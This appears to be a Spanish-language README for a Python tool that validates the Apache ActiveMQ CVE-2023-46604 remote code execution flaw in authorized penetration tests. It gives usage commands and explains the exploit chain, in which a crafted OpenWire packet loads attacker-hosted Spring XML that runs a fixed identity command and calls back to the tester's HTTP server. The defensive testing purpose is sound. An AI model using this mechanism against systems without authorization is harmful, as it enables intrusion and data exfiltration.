
Validador no destructivo para Apache ActiveMQ CVE-2023-46604. Envía paquetes OpenWire manipulados, utiliza un servidor de devolución de llamada HTTP para confirmar RCE o la carga de XML, y genera evidencia en CSV/JSON para pruebas de penetración autorizadas.
Un validador de un solo archivo y no destructivo para Apache ActiveMQ CVE-2023-46604. Inicia su propio servidor de callback HTTP, genera XML de Spring específico para el objetivo en memoria, envía el paquete OpenWire manipulado, correlaciona los callbacks con tokens únicos y escribe evidencia en CSV/JSON.
El proyecto está diseñado para pruebas de penetración autorizadas y validación de flotas. Deliberadamente no implementa reverse shells, ejecución de comandos sin restricciones, expansión CIDR, persistencia ni preparación de payloads.
Dos modos de prueba fijos están disponibles:
rce ejecuta una sonda de identidad fija y de solo lectura y devuelve su salida al servidor HTTP integrado. Un callback confirma la ejecución de comandos del sistema operativo en el contexto del servicio ActiveMQ.xml sirve un contexto Spring vacío. Una recuperación confirma que el mensaje OpenWire manipulado hizo que el objetivo instanciara ClassPathXmlApplicationContext y recuperara XML controlado por el atacante, sin iniciar un proceso.No es necesario crear ni alojar archivos XML por separado.
--fail-on-vuln compatible con CIEl puerto OpenWire por defecto es 61616, pero se admiten puertos no estándar.
Use direcciones solo de documentación en los ejemplos; reemplácelas con sus activos autorizados.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
El script inicia automáticamente el servidor de callback en TCP/8000, sirve el XML generado, envía el paquete OpenWire, espera la evidencia, imprime una tabla de resultados y escribe:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Cree targets.txt:
# Un host explícitamente autorizado por línea
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Ejecute:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Los archivos de objetivos pueden contener líneas en blanco y comentarios que comiencen con #. La expansión CIDR no está soportada intencionalmente; enumere el inventario autorizado explícitamente.
Para redes enrutadas simples, omita --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
La herramienta selecciona la dirección de origen local utilizada para enrutar hacia el primer objetivo. Especifique --callback-host al probar a través de NAT, VPN, contenedores, hosts de salto o sistemas multi-homed.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
La sonda de Windows utiliza un comando PowerShell fijo y no interactivo para devolver la identidad del servicio, el nombre del equipo y la versión del SO. No proporciona un shell interactivo.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Este modo no instancia ProcessBuilder.
Use un objetivo ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Para un listener interno con un certificado no confiable:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify afecta solo a la conexión TLS de OpenWire. El servidor de callback es HTTP.
| Estado | Significado |
|---|---|
CONFIRMED_VULNERABLE_RCE | El objetivo recuperó su XML y el comando de identidad fijo devolvió evidencia. |
CONFIRMED_VULNERABLE_XML_LOAD | En modo xml, el objetivo recuperó el documento XML único. |
VULNERABLE_XML_LOAD_ONLY | En modo rce, se produjo la recuperación del XML pero el callback del comando no. La ruta vulnerable de instanciación de clases está confirmada; las herramientas de callback, el egreso o la ejecución de procesos pueden estar restringidos. |
NOT_CONFIRMED | El paquete se envió, pero no llegó evidencia HTTP correlacionada antes de la fecha límite. Esto no es prueba de que el host esté parcheado. |
UNREACHABLE | La conexión TCP/TLS o el envío del paquete fallaron. |
Un broker parcheado, un puerto incorrecto, filtrado de egreso, problemas de enrutamiento, discrepancia TLS y controles de endpoint pueden afectar la validación basada en callback. Conserve las marcas de tiempo CSV/JSON y la salida del callback como evidencia del informe.
La sonda de identidad de Linux devuelve una salida similar a:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Intenta curl, wget y BusyBox wget para el POST HTTP. Si el XML se recupera pero ninguno de esos clientes está disponible, el resultado es VULNERABLE_XML_LOAD_ONLY en lugar de un falso negativo.
0: la validación se completó, o se encontraron vulnerabilidades sin --fail-on-vuln2: se encontró al menos un resultado vulnerable y se proporcionó --fail-on-vulnEjemplo de uso en CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 afecta al deserializado OpenWire de Java. El validador envía una ExceptionResponse OpenWire con marshalling flexible cuya clase de excepción es:
org.springframework.context.support.ClassPathXmlApplicationContext
El mensaje de excepción es la URL única del XML de Spring generado. El código vulnerable de ActiveMQ instancia la clase seleccionada por el atacante con esa URL. En modo rce, el contexto Spring inicia una sonda ProcessBuilder fija; en modo xml, el contexto está vacío.
Cada objetivo recibe un token diferente, por ejemplo:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Esto permite atribuir callbacks concurrentes al objetivo correcto.